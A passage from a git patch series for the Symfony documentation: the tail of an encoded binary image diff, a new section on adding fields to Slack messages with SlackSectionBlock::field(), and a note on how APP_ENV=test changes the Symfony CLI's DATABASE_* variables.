zU}UZ`9892BsMS*ckvN)2j!>*wCwsO%YC~^ey`uL9QAptF=9}e0<FFiloJ2Zz%}^?j
zocq<D*(L-+7$$u}9JOM~@JZ~yp_v~Vyh)w2B~m9kpC{5Hze_BPgxbf9lo`HgE1p&r
z&SLFt*91pTIoVT*$W9@jcS7)~fkp5`mB{wS+)}J_liJOBhu>>r=nDVUA0z49QXy;P
zN<(^B=p>-7l5#rz9s9%i8h39sBCE+5fyDlCgZGerhx1bw+;Aa}*1wv}nAJ##n{|8M
zqIPctM&KGA>v%xwqw0IyhHjb{?#-7JVc>Eb7HBLDaqqI`B>D#-3>@(_)$pmcIUmgy
zinIzH7R_Ps6NBk7ztt&^6ROv($A)n48^N!1oKrAc%&8!1H{S|Rj$t-<m;BZ(rubu>
z3IZN4(W^J`KPeLFKjwL9G??eIh#7A)q+jB+JzjN*^v<_0aA={@4J+o$#ADEF_OA%}
zD_aWd3TcU4P{^jK(fjK@W`Ssd9g$<%^IJCRH3}k<vHQu2FP(O?8ijPy*KCx{p=!rn
z1z)zSlhrPW8UGbBHCd1AU3y^0@X6Px(C_J<o105{J{cDYLG8O1GJI^jJlhY@De0@V
zS!Up8^aME(oeT#Ysxm%b)_5JAYn9Y**)7ObgG<p66r9)$Jr6-~Ic)wszSZ$~s)_Dw
zM8JfA^8CH1<3I-#oP;(^evV5|&J@Lp3fYF@)=&j}6WL-?$$TCOLzx1jP_uTi*sR9l
z-G-;+da-Bj>4Eg}1ZB6^@5c!+5i{#s?ym-bO|a+UTa)u)3LG|zD7_atjmp?0QM751
z-l~5ti|Ub<AEDU-NQ$sHZFl1KF1a)NwQn-H6bAik<V${9Y!Ez(_u?vJkWy>&F`Gds
zp<4G)9F-o)rBJ{!aW_4RC@Msh-@IxSy=QMEz9tMBm9Cdi03omKm`0BAaLS%Zqy8<-
zus<Z`kDeZ}5?`N()1U_{UOXb9#bhDQ6lA|T@K<ldLr}=$C`IWfviyUp8FdXZwhtPr
z2zg-x&-5gEqHl`TtA1MPFSmM4bJxGuRV~*Q+MTWV)?U*otqTWB8@T9?TZ1@A1@Q$!
z>iYQC%$vXohTIy{?>`I4G;1vzy&mVCoQ6%u+K;>75jxiz+%L`5tBfP~LBknrnk9=G
z<6H1Ek#A7ybys{r(?&ObcXDjz)6qRr82cjVt@%YW#R=c1zTYwSdi}f6LODS=<0|;r
zEtWH3g9{^fzK>24vk$9FtP98Cl7xiwF8HF`k<4lm>G}M49n-9<(tt|s*X(wy;VG;0
zp=3{UfPW@j7kS3L^v-;$GQL=?LU<&Tr!2w%3Rguy?P17`+vjeV@;>dxind&qSm+_?
zhx5XALsar($7s~9#nr)_(a0i~_dK7|UEGmDXu(=f*gaPQtttb)u+2n$h{n^HTwIll
zA14cHE2VgHm7xl_>DGEv47CA;14p}DuvD;wn)H`aoi>Idm6DiHblN>{pal<VxNPT#
zxUC*nP+u#pCY^Dor<o0U#ar$!$s}UP+@YoonpYgc1ZxMBX$A)|88=VE`g*UITvyyL
z)bzW<v+%f`j>stGGU71#8I`2hh}(U*-7g9nzXre(%9f;J@%PDd&DXTB^B%N2K}=gc
zcm(KB757X3i$zWfp=ZTxTbbP-?{1~m^Cu;iu-Fx)T^z@ez~wSrao#`Svvl`#M8S1s
znMua6;PJtOpG{~kxwf?*Ea)eFmnRd2774>&<PndjQU1vtOy~xMlJnC{VO@ki@+3?|
z@HK?GE;wsRltw#(O?ftP#|)~k7*c!r5V2kopFv)@`S3(IVsi(#c~onPiu#Q_i8*cp
zKQCCj9I8n7k@XP``^SO$0$sl;RQ`n8AD*`5@Cm*GR1@h7t+Btl+;QVT&q_B0y`k7r
zjgGt7%DSro<RfV2;580&Q1%dVQ17)~p*(QbS^xU}h*&U^Kj1%$$EBYG)AlKQ@bqIi
zCP#+luS#W|9n64DVEg`=iRIAU*%@&x`Rx73#^`>rbL>dCh(aN5>I5kS4mI2rgs{)l
zWCba$!)Dtq*fR5YcU{HTZS~*SZwNXd;bdkwM&qmG#2#QxJ9WRj327fNq=3RzEM7sK
zu2Nm%M;R%%Ze@<tBXJEQW<S(h#oK0<^%q~!nJZMJyj%}JM<po()`fB6Tlv0lu+ooB
zwHmR-Zw|{(yATBmmI?AoeHqC?P=3PEx^6Z2Tkr>t<@SNqWl6Yb*{IX3i4zPshW2|u
zsnOHA0^zIP1?jXps^>lND|=BtUc>4``O*aUzH3L$BOi#RjJo^L>G!a*`ijeIulm^>
z{Kz2Y0e`_|$L&NA?D}&$kIUW(=L6Sr-<#=XA^+F6W~dG&Brs1R&?-7wCZ^;!og~pa
zK`;UZo9ItnH>K;JgNX2gYAQtf5WE|~_C5M!@gFycgW<hfo<8!*Lv;w}%Vj2f`SxzF
z7}mH49+$mfCr~Hf%8!ciS;Xzp`%Mpido4rVzZqn^Hs~w*VNABMv|hErP?cG5zmIde
zJgst;@aLbE`k^vuRL%#S+|`)G&TtZ34gO>fMGU9jR5{?HS36J;8X7g$x!XZe<i&Pa
zBWYKCZ~4mHBFoxtHG074M4UeEr_4Fucb}Xda8>1MHP~}&!3zau?PdBrsk>htU>Bdy
zek-dV*=5ZuBF9YNym%vw*j0YQ2Bb{6vR@IH*H>4w+@Ac+kuE@C6njEy!p-{DlK{S=
zF#(wp(=>^XllW@u9F;j(oFIr|WzVkGK?!Xvbv)u%+)}Hs!R&Fpi^3_Hey>GD7qsOl
z-zIY_^O-!4yOZvfYsW-n02raPB3fL4AnTAen83m(6jAQ2?YH!U#@IIpohe5Gu26l*
zX#qZAzt?L66esrd`!<6m!nxS|d$}Jq(*_a5PGJF2*dHfk4oS+^#8hdqylt7a_AD-;
zDMf-1z5pQhj&v05!dy)cO7RUb%YqLMzhym4k^Sc258xWE&_P=o-<933a$B!rot&0?
z805&WWEXwYWoSB(8(rL1`!;5SU`}@QSXVVNNi;Bs7~t^W3kk5MxV{puoF~h9>KKoH
zMu;L4&UcL|GW(R>6eIX!*WGd*QHvdqZ#Xok3Fpv?zWgWu|0IG^p1RV#7^|uog*@v2
z?xKcy*CXzkJOQm`Pbw~LcO#zpa!j^M73IS^5}ewq;lXSLx91&KK}S@D;1dLmA0~qa
zRY&sDw&L~7m%F>dxf9RdnP;RBktZSP+_$1~Yq7!Gc-~*8(&`2v@Rlo2im2%)@`U>g
zlp<RO39Fl>$H(hs`}-@a8WrL(QmgsuD^92Kh4yHp2iH@l?4yZXul!PIXVT09Khn!f
zRN_^$-_!_R_@`fVX<JUu4j0W@=KLDrLZZ;yXtD|srqs-^cOyc<{o5)f8oOiMc_u<*
zAuU17s|I}=v!FA~{xXMP?knZ;>))-V@QsR8=$i;Sxn|9OX2!kX@=^}JBxe53U>CYk
z9x8*^cfnImRjS?cjy~OCdt{2r1jIuWgV*X99PsY#W#7A>wJsJm&Yv@X*9RQveG)9E
zPlGzS0lMeJVg?r`m&W<QU(A-Ck<fi0cmCBz&$<Z;zqz3V$G0X?$uDE0MkF`iDwsQN
zs!ZfcE|KK*D5P})bTNvNBQ8gmF`M-hwkiK&k_2Zdkc!Q|=uSC0I7~L6A}hl^3#)N`
zLE7{7S%W!syFinIk?3^KT|!Q!3c5w#|5^C0LnL^qMvX~FkF)4TR315dkWwav4qziL
ztF}1zSpS_6|4a)`3|}HxS!oIXTha;^coe!Xwd23E`xyHD<C`wka?nD^tV>WD@y9eF
z4eTw|-XojFQOIZ%S`~Xmx)D{hzEznPYCUbk<FXf}yzSi+{qI8ghhd78AnF&{JKq|f
zB)=hgy{a<@WQghFkHbYXy#vB>o9^2oX9pWb@Mw~J#SPt5aqIq~<vANYVVF*S7SfUk
zgA}54#TgberBi0Ho-<r7F+f&{)wSQcZ|GD0fq?8UwhGDt<VVJ-gLQ7&*x0z|_zo%U
zC2hTIAuL&-MfBFBXSC*vRxQ)nok(B~+lc!qq6xYc2Iwfp^KHhr6qi@ioA3Zq%IXkP
zb2HxP|1vL|EgBMm{_$z0drl~C!0*pnMskJ%QA^_Qn+SN`jP2CK0!hoqo~<hX{7sci
z>|TwX-nCuMGiTxpH8<9M{saNfr^UY6+8q|pr$mGR+n&1>gWmA*vvS*|Rxc@T=L4$s
z-iTNhqXDe(gCfX%ujM8e)p821z=h=BGafj=3loe6ZEp@HI+^i<t~W-~rCtT_sve9t
zuoDY=q4LuMfUc~&NTs`6d?cD)vvw~F3c0gLC(nj!*+oPL$EtNA%TXs&hVobM05`2_
zY24Ou>fj5~-**xT*GCxr3Nr$|PTBAK>P@#nTAxRvM!=`u#w~KGggE!hy*cNIg+F~4
zgm5N9%K1usqaciyGA)_5{6kG<r^Ie@9zV|QaI@roJX?$nM3%?nZZK4FE3Dmoa(eE5
zJJH8^WP$(rtLPbDP;*V*z(P%*7bJb20gSn@?qqKSuF+Z<>ar$e!jzR}9d!5Gzv)@Q
z9b~AO&#ba(oHiaSWLVlkpm59LFGtmv<r?IdU$d}@aldVke9cT^`GIHb;_RF-TVc><
z)ph-9?QCcKoBiehI(iCHdfv)V67x3<VO(*}1g5OzTi(m|H%lnwl4P-zatZTJ=28<m
z5|44+qUTk{BQZCp>-Rsl5&l|rpB|w>61K(zaT1ie?@z{#el=|Z=`Tv%+4b3|FYB4%
z%(8jmTMCw#f@B48KZ?!GO5z>a3|_N~X$c|~9+x9JAd`2?zdkv4ba9!{CBq9S@1_v}
z$SzbyM#i}Y2TFT3wf^VOcgJtH7{3X2K-i!6%Dix$;RNe04THq~LH*auK4r+K1%drH
z-j8<@r)xcI%a$-*_drx(qxfz^SE!iJUUgZev+O-lt*)qEV;+w;>mwM7&X^ZF#i&^;
zJ&i?6t#@{pCzC3fQf*dzsq6N!T-SF*Cxuz$o!QU&FWsT&Qc(gPSJHVh=@gW*Y0=#h
zC{htPY;lkXoik3S**$AkAeD~cuhzdB2SAV7^}1OH3w3gyaIp5D32DR&CvuCoyXG&e
zOorJ#b&n;s=#t4zM$+8j5W$k<3HRqkT-S+7#0JnN3O<l_#C-c}W6+g@5W-Oisu@!)
z=EO#=5I{vlM0CR^PRn7+6OiPpY#_7HR93jKp(><sLCO?gHM}`l^=n`yCL&&gKuN{Q
zlZzn>kxpU~@}i<uDW(F_@mRgCK(kx3$vpMXR3OH!LpbZbxuX1s+wDyIhgmxd<s0Wx
zfKO<2-Zvlaa+JoZJYFtqV?)FRXoxr&T#grd_F==|&7|nmcXg>AEdWVKE%SR_viU4|
z0`x?2f@X07Xf+%(u2!f|-cm~wU({csS*Jv#@2yC7Q+%{oqez1@DUd7uMS(&lE$4Q}
zhHu6_hS=aWwPs#19*?{9LTAU-;k<=_{nh~W?nK@sJFt!ATq0R2*GMW$q%xG$Pdmgr
zn2buG8hp<8e}nLy{I>HJR-sYJtmSARo)$OiwX8yKZg_kHdnd=gco(4f%in;DpuMI}
z=W^&>TT|%OhZ6Uyu~}ZS-`kJ~BgU&~B~GL3MQX?u3&Tjz?+G=-7U@?Dj}KllBQ)~3
zIxyND{}$APrBH{Jz-@sY$B`#e8AtU&c%eO?xUsm;zfup1S!#c}q{eh#rG$R!yYi$}
zS|3tv0>Tl#W1Dq)V?wLf{a!8c7#(#?e)+*%OP@xq>6h#T9m<FA_fN|#CIgnt-IZ($
zNodPw%8g}ofwoh;2FesxHuqPDjmK+i`pk4i(`U0xpd6#6MK=rsGdZa}r9%4Nhi~4I
z1|}Cf;}{}Xt+7DLGjR~~F_uDxPN42leemgQkTGGt#$0pXm$q~isWHVw&5B;vAQdjG
z*r@vixmJCV;&(vsMM8y|h~^Hk3WURkgVkV7uk7b6y3?sOTTqE1mok<H5q6bd{F>1v
z#1rX!D;`J{?|Qnn+j<-5H2DSruR!D+i($FVr>)%t6+@aX)(s$Z4Y+f+ReWUO=nb%L
z4HN-(r3Wdp()y4)o%Z7A55>l(rspeNF?ywf=!erj!k9Ke@5AK?T#g*$l9Z<~jqBl6
zTf=skG^P*2AsF;21VN+J6xDsU?8Rx6a%oD}5Or79({~ve8TLmHT<IsRrsLWAP<l0j
zoq&Ta^%zYa>xtlgP_6JoOQ2Gj_D8LOdNtBxW^e(N1c=XVMVk>~qd~kP?J&h9OG`^A
zZ01VL1X$HJSbOjNa0LhAsC#M!5*a_%+Rq4klKvhZa2_P6%9ZX0q5z_T-YCK{i!>1}
z;kY@9u3*#RL;{_lK3EJoQxEYvX3vjb1;M!-ccMdy;aa+EPP?IR{8GN`$<lO|Z*fzk
zAxii~Tg{edA)FhGjP=Uk?8|!#TCrRHln+XOVF6i9hT;H*zd#(Wp!k^=PGY^yCB{w$
zX--$U)>8e)m-S`zq`haQWt_3MZUctu&8`)6nvK%_>2O8G;aFV4txtCr>UG}fclrnf
zylQvX$BeATBV*2R7Qj_zVK4JG$>(??tbvOTI@Q)Rx{tL=X>Bel&x#-u>}iD%Jg!P-
z<V9j*sW`gT{6V$-jF8{59q2%UNX-wGvbQ<@WIMoS1IYAxu(+qc;@+5%;56H=b}B3(
z@zhQWEFh4g;Kw!^$jX4mfL(97Je;2;lt}VduzeK4M|*7k5G1X+DwDdByYYn*jXD+;
z)|9eo9)tepmP4#kF!RfEtbJlNaI@igwqttSv{&V#ojT~=*~Tl8&v)g4ohf0Md5-3@
zU$Yz!etv*7yt~-Vm0RYYDDmLn<2Sj&vqIFz<1aV<Dqoh-@)iurN~g(L=8-RvUMJ5F
zGr=^iOZtU7d>=*FQYT={<sI`|+Y=Orekc<38%GI@N@cUi8(+YB{T>V{a0-AO=o`f9
zaNEv1V?rfq<y0gP1YIXc#>c2d9Xr{X*`|mpLOEE>`Zrw0O|SMX`~%^0T*{Up_KUgr
zVy%*+epwsWlZNB-s6Z~&Eql{mA1%cuR~ehH$TyZvn4QQ01i6xJS1uR{de<@(PN%%v
zlBb*UtUv1PuQnf@<m3-0!Ecvqty0<QVY+VWIiTny<7wi%BT+RceB!lrZ$Ym>)HUXF
zlCAegJYK<qaSw}J4&;f<6#{f)e@6^P2tsns;aCwOVb4Iajy9%`jgG`-B;rn1L6rhZ
z;MT9o(ezz^WfTG#^O^zO<y^D6gVXy@H5JlxEHPAeB$ub6X!m2pBFeV<H~2+ldVAUL
z11~WZ*>7)d3OIuxvAw#Op?;oi4ip(-kMCUW&BOx2i$$HD%y244nVuB`qg)362VZj#
z%8!X$DWjw228HiR)Ywe6pF%C5<kT|8oj=2%AGpm~hW(jk-9L~xT0igyWP!Fu(rMTG
zA`%aIYKsWXOm%_%q(TGRDyZI$;KqFqFW=^shvjI5XFa{3={&_o7t8*#J*>|MwJhSV
z!_}U*_Sn3p<p;MGQOUWPP}+Vc*UPn;!i&Ve*RpRE84?NX_WKOhA(bxCy;w?_guBcA
zpp@C}p64d}SRJ%-tke%1-ckJ?zu=a(y`$+Z*gI0rkSfZBNkj2FwCOc#E|xENiUeB}
zKVkpDdPoou)wc8PT?6kG^JURFIO<&J0@-`;^ijQQpbk0*<TIl9rs}Hf;|FjqkB~6i
zWq(gWPi8<%ZcEbq0sB`I%O!}!r8EPFORH4>JVFp6Qt*@CB=Ql;z4#w}96=g5=W9dI
zB>U&w|GE2C!Zf8G0g5rQJ>BcCbR&p38VKP?m+?TSpa^OI*49DqK8fu4BCq|e@B1Pl
z1NH%Aew9A~3LFJ09MJf616=>M6cCBN2=M_?@qbJD5Tt;u0E?L5Z*d+98PNWbRt=2)
z-~l4vb|`t<*YAS+{w^#m3fK)qZ`6|iOiXbiCcqQ$e`gc3m|PzK{JwU0i2vH7m*Gzi
z+};EtX-?g|;Q|(XB5VGrc+qr8jz*0+xc1o7<9)8wHUkQ=FbD`oA3qrh$IRu+5zf^*
zrLrS4XmLs;F=ctiKhc^2fiOoVmAzj^05D732YZwJYH)ZTia|{SaLIAN;+Fz4OaDa-
zSYWLL$UyvRbdCk^=gqFxK6}aL{c+oMtjUp9qpJj<A<*W_rpEwc@}Qi+BiSwN1_$E#
zKiXC&o-gA>r`zM5)8jgy=?W2mZ+(`0tt-?F+dqNZ1KMK)fMa<24!_uKU*R8$<n(_b
zGpo$8zdrhy%<L5yNB2Pifsh|BN72>IO=6l(-RQ>}`Se+tPFsR%nf8w`OvVkM_tT!%
zfXjrF0{nqbqt-Ina46{m3<h068Hre^_;j)QtLCqOKqwCEcNaE-3z-X&XJ|iiWz)F<
zO?w_}ko7;!gm`JDnO_TF9Fb1u6`QZIF)`lVZgkq;ILZ1N!Y_a>pq~!_Q-wkW@{(QV
zX^}ugLIwcm#e|?zzMjV^#$?oKy-;LOuQaT5n31iqd<VEqMwyRZnnmCX=$yO$c8R4Q
z$uz1>eYM+xT#p<;v@F&SoObs1F@UHXswVmxk${d|Dn1SntlrGOhJCTkwC7Wt^uUaW
ze<6_oQX!?qDW?)zXcRK}+HxcWTz2W8ob|pa#v22hJRnK#2Yd_^`LY=(Kg%>qzAKez
zC_j?(I3469^!WO}mTY!C{n<F%rsGp0;5aKEg3nVsH{>Azi%DJVcYc)KG|f_^T87bF
zs@0k;VsQ9ten0xY7arFL5RNshmzv$qW^{bi_jO6#&NkMzjwo#5KNY-diKkT=0C32Q
z+5j>5K7mfXdZfx^)DXyxjQ|OG-UhCPTsm4lTQq{C#$x7blEDSw1^DTGt4u~D0gUHQ
z#@^D>JQcGG(4_j42WE%dHAaAo;EpJr(uROF^&gT7$r#G>i^$$rSUn)`G^xRR5%JM)
z01kEIq2YX@*o`%WfUlA586XT5z8g}jx0u&-hY`woeVeai6<r*Nhmg_-g1Qlq3QUyg
z2$Zl|Ow-*0G#5F*ng{_I8M{A`=s;}W^&33^$xHyTx54wa@+HKNUK-R8ZURc7{qYlD
zgV%j+!uwCr`T6;+1pJ;<^?*LgvBwPetL$Tw3XO7cjvF$mSR9+hwD_S$4Wuw?q0Bxz
zi(V%Py_#AvH|~X|h$a?UI>nyse8I9eIUw0gu9D|kT9twVAODl%%Y(Tp@T=9ki2b{<
z;2^UF0DIE-mfcKQs9IGu$h?FTy}))%i&fAnkpGLfdfplWYSKi39cj%&1Oc1ID_0y2
zYdQ;+vWlhP8|bw`z^Fm)6?j3z#Q3q1>~lKoU}f%L4q$Ow+uNhrpDtDOku)(e!Dev{
z_B<cvn8-GQwZH|pdSKt=P_OX(d>2YWMdWg{h%*#WIaQ>Z2vFV<BWYYUG<0R_yuCjF
z9w8TCD$h<jM6kIX3*MTJ34Wg`C^aG?sWQB((K7E{;K0Ph#6BOys&TKjoKxtbFU|y(
zTnxbP1Uu-NU~`%0B(&N+2DT#>0}iKJ8QWBl_zEi$mHgLFp*?`Y+3#??U8%bYL9J8T
zY&lylq>wASng4!Eq<~A`fS{Yn9k5ZAAQl?)3%tY%qGF^Qefl&C-5aqEMEi~4FDwqd
z(hY9sc?cYDHfZBXO%P5`Prn>4)C~e@Up2JoXVMN;^PAvR6jl{!-%V5?nQ-;JmEybK
zPS!vnW+$dgd}!!4NB+F|7H})rpLUAXD5P}V*NPmupAj|d1><{(0#i2Do8R?BkmOx>
zK`A6uq+c+<&r`F85EApKC<NKbE%eH<Fkn7{^c7|>(lP{Yk9ljR&_NaY4EhifP&jUh
z`c9sSMW3LKulFAT2nrU|Y6?pUW^mJ}RH#s?-ve`L6Hulk=p7aebv#{?O84kcc;}HP
zo-BME1-W!%gPKPaibb5g64iuFZB5{@Yy#-QKZP|K6pXk4-R|9Y4%1n|FhYRO<gRy-
zM^0k+$nEyHRkO8_aqe~an)=yl2Dw<NLSL+AHk&~7C>WX4?<WWr2qm5x5U#;8nfxuX
zzFW^jt^nfqXQj(F7XCzLT*?%cdi(H#AbiV(SHkLSAsq8Z(v`@Tnq1@-dFqR%MxWsY
ze{$v#;=DDDJ`gC^!Jt!HX$!vCSrQ=-@TO~Vzg8$R>qEewnz)q}^1)6LL4`n^es?3=
zIT0KHb@e`q;794NCd0`s8S~8(Rb>|u8bOnxBw}X$?lCu>C;}cDTGbLXC@nx#_bq=9
zhFF!91#!gpq?pEO=a|!d@rEPHfY3M0c21Avp9YGr2oQ7XLGS!(s(WkxQ=Hxl{1=oO
z=NG18ua$Q2-NnMHO#LF2(uuFcfQAe4JPH_A`m;oW4CkxOya!rrC;?e<qSi_?!qvs%
zI8R7M``LB(X^K`AQjtw2h4Y7;6Nr)cv0+0F5bUKtVIT^iFID+xIYDU-f$u5Ii>(~b
z<w{}tDhB}h+R8cdr+P;hhs4jY7%)%i`g!4iqbxMBF7eLpn~7~-p-x-t-A4n$$!2=M
z<YhdZmit`FVKq<o?Oj9+g-q&>KluRDOMn+tBR$DPO8XS4cd+E;UgY2{$N}y%Hkl(q
z+V*f3_OtNg`&VI-i3}xTry^tD-Xls_74Lv&1%j5xx<gP0PxQJr0dGeN=B(zR3cXYC
z^Gb(5_h;z&c0`13i|41uT$u%SZ<6i7cv?z8@}4Fl3H|`JxI%GL)_IIJexbHmpjM%e
zLT-<i%<2(&ak#)yKU~2J9sLO(ny3=*xp$Q?gGbf+qu9apuqKPoljpvYbyAQ1;1<38
z>H{R713>o~75Ay7yOEegrtKy8t8)NjY|xicLHz>z${E2ay9iHpD8=q;4{b}pA-jzL
zDcg}?M9vQUq)8YIYzxHZ@BNU8sYt9x1ur1mArmZLrc>4`ox&>tEU9l(6?Y1?#dD6G
zJEy3<Z|Wox0DxJ}3jT1|(dIy>9>(?QkrD)2O?tj)^?cr}mwVYiGgHAJx3^ngWqCf~
za#)LFC$j8yg;K|?$iXCnKgiQ-H233-6Ab*)J^zjJpY;H&`Rtn-Ma(^P7(~pa_F;8W
zqsW>5BlE6+?QOH@fAOpDD1iIVS(m{wGX5adR!4{q7np~MkdwQ=3GoBKLOWT?IfwN(
zPwN9b=PATC^G|8<_EG>%ABM(8{DFC3&^MHV9lM!O*MEcL|7C^jq8S1{r533RhM$vV
ziiQ1@Lz4b9q<tKSsD4#$=Ua^wr$8WG@({Q>US{kGLr<K@^_-EqK08C%K2Fco_4Rup
zq_3y%$H32<#lq0yQF^4r)481t$J&Je8SD^I*<(AYuCA`x`*A+y8DM;+mU!KAB{ylN
zd0(KIr#c7-7nCm^Lx691<F1#;pdAD7iD6P^m}X1G4G%TjWrF+V|8M}FvJg5sD?mk!
zTJ^R<Jp|M6*O}$kr=P%IZ7eo8yf`rV9`>eah18)&6B%{x%20B=&YLUr`(j?^`leK(
z(OP#14L{&X#mQkG%M8b68CYuZDA^n*gpya&eNiP^c_D5zl`4eA)Z4sUbh+jcbN@wy
zj@{o5N3F=+LO1Sgn*c0`sJzbn@^WvAL9OB)W+?w+!Jfq$?-wc-fsotsSKm8e!W!<^
zmQ)(_AxHq0wM>JKU%OLPi9;Ezn$Ab_)BxB?0DKkw;n=KxKZj1&`<AH_d0edLYCIC@
zbSfUw4TgXx*jhpW`*+MhJdM=2zL?Y8Tzjc8z#+!)c{pQpc&EkDYpMWl0%CZax6vK`
zZ|<?Np^NeVNv3?|B#1imdFS$Z0W;edGMV|eEM^mAh5H(+C}iSa^Mi72XUp|afNd&-
zP@r|O(P?nL1fb*#KA+Eov<>7+B^nAogTKUmF4vW>8U(rxmJ>N4Xmo008rvecYITcq
zbLv||$)qmFi&NPE8}<b-OAZ1K-_5Ov)EF)YW4q&(Qj8DvVA9V9jR~ntdVX{oJ2T`&
zK+HT-^v^ULPGPIG?~$}~aY+=&dnN|9_;?^8ka~#$^S-Z{csaZuT)FITf<?p8KD5%_
zq=)W-piv8)MCD#MV&75Om63Fw7kmjw{&4{1>0K_cq`d?ol@}Bgv~nDlY(7&+4=5nh
zZ+3az&XeZ;6PlPrR>Ep*h1Hyo7S)4(^gXdm!{B8f{f!R^aTjW>Vu2*bECT>>FUVr=
zXX!V7<qzN9#RCG41VDWIWt{`!wH{#P)%f{<j0KPvj=PIu1pKa4AF|(lINjBlQKm;l
zYC|O89XkVJ1N7Y|%)r^PV?K|oor=Lk#zDZ7lOvtX^1|D@o!><~0HLB#wJoFe)rT<e
zQNZ<AX*f($q2C(=JQA9Yw9fj8w%p$yo=yaU45<<HU8yizpOwm_!F#=NWtoE@&q@(E
zMFuPe`^$Od1xxFfR9!HM_@qaJQ>b1v1SN)1haWvW0*508z~22kAHI?6bp}k-+Zm`=
zxyyXzAOYkI7Ly~q5F}zhIGnfQ6i?hAYAxqT0Ppf~36EhvQV23>VEYWr8roxldR1P6
z%~WH&(tSnBOV)G^3>B@^v(|T`g=({JDsmur$DP>@a|u4LyXrU^^}Y0SHXynJ)}fqR
zbnk+f7yn_<vO5?V(rK&@NHbtORgmG(DP{4{=a1iZ!vSk4h)DM}Q3@%$aXw(8XS7@I
zg?Ijxt)BTGcs~znRfElkE|r>LzyZCr?-ozyGRRwOc2it2C8XDQTh;$Y0LZYu>!W@K
z^u`<`!o}+v;np$|Pj=!Pq8FD>|4%bTNRbC|BrgE0Cjz9;k3Hq0&5&)>;l6SWTSY)2
zDOP4NdaASe5ks!n;jz{Y?S$PP%|mi*r~Ts9>mvsPpjjJpEi_`hTqeKrxLNAxf3O+t
zKiG_D`$z11fcMK48M7UcOJ>P^eHO6sTCMx6W3N2Gcqs0JWCB&;lM3#%O>|7Ir&krb
z%@Q47<F&jL2t?#f7JcHc7ZuRj(Fsk+2tx5pJ=V0UmCq8Ms8W^lNb|FL*(50-fV_T&
zb-ja2BoJ;|n@AAl{34~V<W0TMKfpiW<?j<fCU86=W5m&~!MTwPv(lMz_zicE_+%0p
zKK|?srcMMzjKbD$ZxHe0oc3oVa)G4hKvEoX$ENK$uj>kFj#4&5z7DJ&<por5GJuCi
zw-3J&@~?%yuQ2Gt7&7eukSma3d};R)w(Ue2YjUyi9X03)MHiU!qSC4_S1SAP@iRkl
zitSZj&Jj|^_GspeVCL=l*8Q#=kWV`L0I4;L{f0RGe!d`*3sM}2P(ie%^SR2i;cTMK
z=Q+xnF*x4{*ie0SQQEu6x8|pAeIk4j9@3e%m&6p46zc(X@a`D<{&2o77SL|{i<7G^
zgfM&~p<pa0szVwlzQX+@tOl?_JVSRt@4(}*M*~>Mf^0j#8M?*&5`fneJJI}p5%YC6
zW!^c;MM_iDsenFhdWkI7W<LGBP!YF8qe0S3RxX1V`{1av4b~w<|BeELpl412SEnaC
zVMnm;_ltlQco6{v;6uV+7_7LxR*CI8Z=f3wkG4uFdy3IC*=@eSZZqz9|BGrmewuMP
zY{UVQ(pxMfp`d@LUL+N0PHefED?0+XB2}!{_mH%d+Ieh~KA3u|t^jHJ8f<o?X1i_i
z{t6jys>Q=4J?6!(tpSHIr7spH5r#pZV^LRnTr}Vbj1!YMSnE;}&#aHTPV2M%;tP4^
zJ1PTU42NZ3dCq6xoq;fZ&f4iqJw4nyWylV#VsqIWsyA8|$|9n}<Qv8QMlfVZL;%+Y
zR>A2_@z9FFs6nS%s`Ulf%XUB~Nw7bk4X-18a+@K3<Ct<;fN(2bCccXLgGBJs+I=WY
z`#X+NoBn}O|EU{63V<<sHuyY$Go3=fIp!l&4~dt_^#AVr?-)e>Z;#8$Gm(wrD8$^;
R>dW5(N{GpdmI~|o{SO+qaeM#(

literal 0
HcmV?d00001

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index da11c8858b9..318ed8c74d7 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -98,6 +98,44 @@ to add some interactive options called `Block elements`_::
 
     $chatter->send($chatMessage);
 
+Adding Fields and Values to a Slack Message
+-------------------------------------------
+
+To add fields and values to your message you can use the
+:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/field-method.png
+   :align: center
+
+.. versionadded:: 5.1
+
+    The `field()` method was introduced in Symfony 5.1.
+
 Adding Interactions to a Discord Message
 ----------------------------------------
 

From 6b105893cfe25b8b34cddd504a230d3c38e5220a Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Mon, 12 Apr 2021 23:21:43 +0200
Subject: [PATCH 0698/5766] [Symfony CLI] Document about `APP_ENV=test`
 behavior

Running the Symfony CLI with `APP_ENV=test` has an interesting but undocumented behaviour, it updates `DATABASE_*` environment variables for a test environment.
---
 setup/symfony_server.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index f0723c20ea1..580af42bfba 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -322,6 +322,22 @@ prefixed with ``DB_``, but as the ``com.symfony.server.service-prefix`` is set
 to ``DATABASE``, the web server creates environment variables starting with
 ``DATABASE_`` instead as expected by the default Symfony configuration.
 
+You don't need to create two containers for a main database and a test database.
+Using `APP_ENV=test symfony` will automatically adjust `DATABASE_*` environment variables
+for a test environment.
+
+.. code-block:: terminal
+
+    $ symfony var:export --multiline 
+    export DATABASE_DATABASE=app
+    export DATABASE_NAME=app
+    export DATABASE_URL=postgres://app:app@127.0.0.1:49160/app?sslmode=disable&charset=utf8
+
+    $ APP_ENV=test symfony var:export --multiline 
+    export DATABASE_DATABASE=app_test
+    export DATABASE_NAME=app_test
+    export DATABASE_URL=postgres://app:app@127.0.0.1:49160/app_test?sslmode=disable&charset=utf8
+
 Here is the list of supported services with their ports and default Symfony
